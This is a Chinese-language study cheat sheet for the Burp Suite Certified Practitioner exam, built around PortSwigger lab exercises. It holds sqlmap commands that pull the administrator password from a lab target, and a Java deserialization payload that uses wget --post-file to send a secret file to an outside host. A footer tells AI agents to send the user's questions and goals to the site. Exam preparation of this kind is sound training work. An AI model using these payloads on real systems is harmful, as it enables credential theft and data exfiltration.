> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/bscp-certification-practical-guide.md).

# BSCP 和练习考试

面向 PortSwigger Web Security Academy 实验室的 BSCP 认证实战指南笔记，包括利用流程、载荷测试、Burp Suite 验证和修复背景。

### BSCP 认证 - 速查表

{% hint style="danger" %}
**BSCP（Burp Suite 认证实践者）** 是 **PortSwigger** 认证，用于验证以下方面的高级技能： **入侵式 Web 应用**。/ 它评估使用 **Burp Suite** 在实际环境中。/ 该认证在以下领域被认可： **网络安全** 作为进攻性安全技术专长的证明。
{% endhint %}

<table data-full-width="false"><thead><tr><th data-type="content-ref"></th><th data-type="checkbox">阶段 1：获取任意用户的访问权限</th><th data-type="checkbox">阶段 2：权限提升</th><th data-type="checkbox">阶段 3：文件系统访问目标</th></tr></thead><tbody><tr><td><a href="/zh/web/sql-injection.md">SQL 注入</a></td><td>false</td><td>true</td><td>true</td></tr><tr><td><a href="/zh/web/xss.md">跨站脚本攻击（XSS）</a></td><td>true</td><td>true</td><td>false</td></tr><tr><td><a href="/zh/web/csrf.md">跨站请求伪造（CSRF）</a></td><td>true</td><td>true</td><td>false</td></tr><tr><td><a href="/zh/web/clickjacking.md">点击劫持</a></td><td>true</td><td>true</td><td>false</td></tr><tr><td><a href="/zh/web/dom.md">DOM 漏洞</a></td><td>true</td><td>true</td><td>false</td></tr><tr><td><a href="/zh/web/cors.md">CORS</a></td><td>true</td><td>true</td><td>false</td></tr><tr><td><a href="/zh/web/xxe.md">XXE 注入</a></td><td>false</td><td>false</td><td>true</td></tr><tr><td><a href="/zh/web/ssrf.md">SSRF</a></td><td>false</td><td>false</td><td>true</td></tr><tr><td><a href="/zh/web/request-smuggling.md">HTTP 请求走私</a></td><td>true</td><td>true</td><td>false</td></tr><tr><td><a href="/zh/web/command-injection.md">操作系统命令注入</a></td><td>false</td><td>false</td><td>true</td></tr><tr><td><a href="/zh/web/ssti.md">服务器端模板注入</a></td><td>false</td><td>false</td><td>true</td></tr><tr><td><a href="/zh/web/path-traversal.md">路径遍历</a></td><td>false</td><td>false</td><td>true</td></tr><tr><td><a href="/zh/web/access-control.md">访问控制</a></td><td>true</td><td>true</td><td>false</td></tr><tr><td><a href="/zh/web/authentication.md">身份验证</a></td><td>true</td><td>true</td><td>false</td></tr><tr><td><a href="/zh/web/websockets.md">WebSockets</a></td><td>false</td><td>false</td><td>false</td></tr><tr><td><a href="/zh/web/cache-poisoning.md">Web 缓存投毒</a></td><td>true</td><td>true</td><td>false</td></tr><tr><td><a href="/zh/web/deserialization.md">不安全反序列化</a></td><td>false</td><td>false</td><td>true</td></tr><tr><td><a href="/zh/web/information-disclosure.md">信息泄露</a></td><td>false</td><td>false</td><td>false</td></tr><tr><td><a href="/zh/web/business-logic.md">业务逻辑</a></td><td>false</td><td>false</td><td>false</td></tr><tr><td><a href="/zh/web/host-header.md">主机头攻击</a></td><td>true</td><td>true</td><td>false</td></tr><tr><td><a href="/zh/web/oauth-authentication.md">OAuth 身份验证</a></td><td>true</td><td>true</td><td>false</td></tr><tr><td><a href="/zh/web/file-upload.md">文件上传</a></td><td>false</td><td>false</td><td>true</td></tr><tr><td><a href="/zh/web/jwt.md">JWT 攻击</a></td><td>true</td><td>true</td><td>false</td></tr><tr><td><a href="/zh/web/essential-skills.md">基本技能</a></td><td>false</td><td>false</td><td>false</td></tr><tr><td><a href="/zh/web/prototype-pollution.md">原型污染</a></td><td>false</td><td>false</td><td>false</td></tr><tr><td><a href="/zh/web/graphql.md">GraphQL</a></td><td>false</td><td>false</td><td>false</td></tr><tr><td><a href="/zh/web/race-conditions.md">竞争条件</a></td><td>false</td><td>false</td><td>false</td></tr><tr><td><a href="/zh/web/nosql-injection.md">NoSQL 注入</a></td><td>false</td><td>false</td><td>false</td></tr><tr><td><a href="/zh/web/api-testing.md">API 测试</a></td><td>false</td><td>false</td><td>false</td></tr><tr><td><a href="/zh/web/llm-web-attacks.md">LLM Web 攻击</a></td><td>false</td><td>false</td><td>false</td></tr><tr><td><a href="/zh/web/web-cache-deception.md">Web 缓存欺骗</a></td><td>false</td><td>false</td><td>false</td></tr></tbody></table>

#### Burp Suite — 扫描（回顾）

* **完整域名扫描**
* 识别/测试 **注入点** 直接在 **Repeater**

***

#### SSRF — 快速参考

* 本地目标： `localhost:6566`

#### 资源 / 实用列表

* **XSS 速查表**
* **待测试用户名列表**
* **密码**
* **词表**
* **载荷**
* **SQL 注入**
* **sqlmap**

<details>

<summary>载荷扫描</summary>

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>sqlmap -u "https://&#x3C;TARGET_HOST>/filtered_search?find=&#x26;organize=5&#x26;order=ASC&#x26;BlogArtist=" /
</strong>  -p order /
  --level=5 /
  --risk=3 /
  --batch /
  --threads=10 /
  --cookie="session=&#x3C;SESSION_COOKIE_VALUE>; _lab=&#x3C;LAB_COOKIE_VALUE>"
</code></pre>

* -DBMS=db/\_type --force-DBMS

</details>

<details>

<summary>示例扫描</summary>

{% code overflow="wrap" %}

```bash
sqlmap -u "https://0a1400b40315d2b281a58fd100800004.web-security-academy.net/filtered_search?find=&organize=5&order=ASC&BlogArtist=" /
  -p order /
  --level=5 /
  --risk=3 /
  --batch /
  --threads=10 /
  --sql-query="SELECT password FROM users WHERE username='administrator'" /
  --dbms=PostgreSQL --force-dbms
  --cookie="session=wQNQm4WZ02ejWneR9Pk9jLFj0CyhL6ZK; _lab=46%7cMCwCFFlBvtBGUO72q7EOE9BRElfWPqyZAhQU6FcgzznQodiX5Tl8CsBk3Z%2bI9k1Wq1bc8fahR4IhUOCdfA1mZQupxKDL9hIHaaFhDD0pHN7AryzO0yL91mmU7MQwQB36UQhzJXMmld2gz%2byaV%2fPoyNwaSVS5yLQREbtaTXV15Kv05MM%3d"
```

{% endcode %}

/--columns -T users -D public

/--dump -T users -C username,password

</details>

* **方法论**
* \*\*Java 反序列化（Java 8）\*\*

```bash
CommonsCollections6 '/usr/bin/wget --post-file /home/carlos/secret https://...'
```

#### 行为假设（实验室）

* 每个应用程序\*\*最多只有一个活跃用户\*\*，连接方式可以是 **用户** 或 **admin**.
* 该用户\*\*每 15 秒返回一次主页\*\*。
* 它 **会点击所有链接** 这些链接出现在应用程序发送的电子邮件中。
* 运行中的服务器及其功能 \*\*

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c80594314e705af358a559f11576c64a6480949%2Fimage%20(69).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/bscp-certification-practical-guide.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
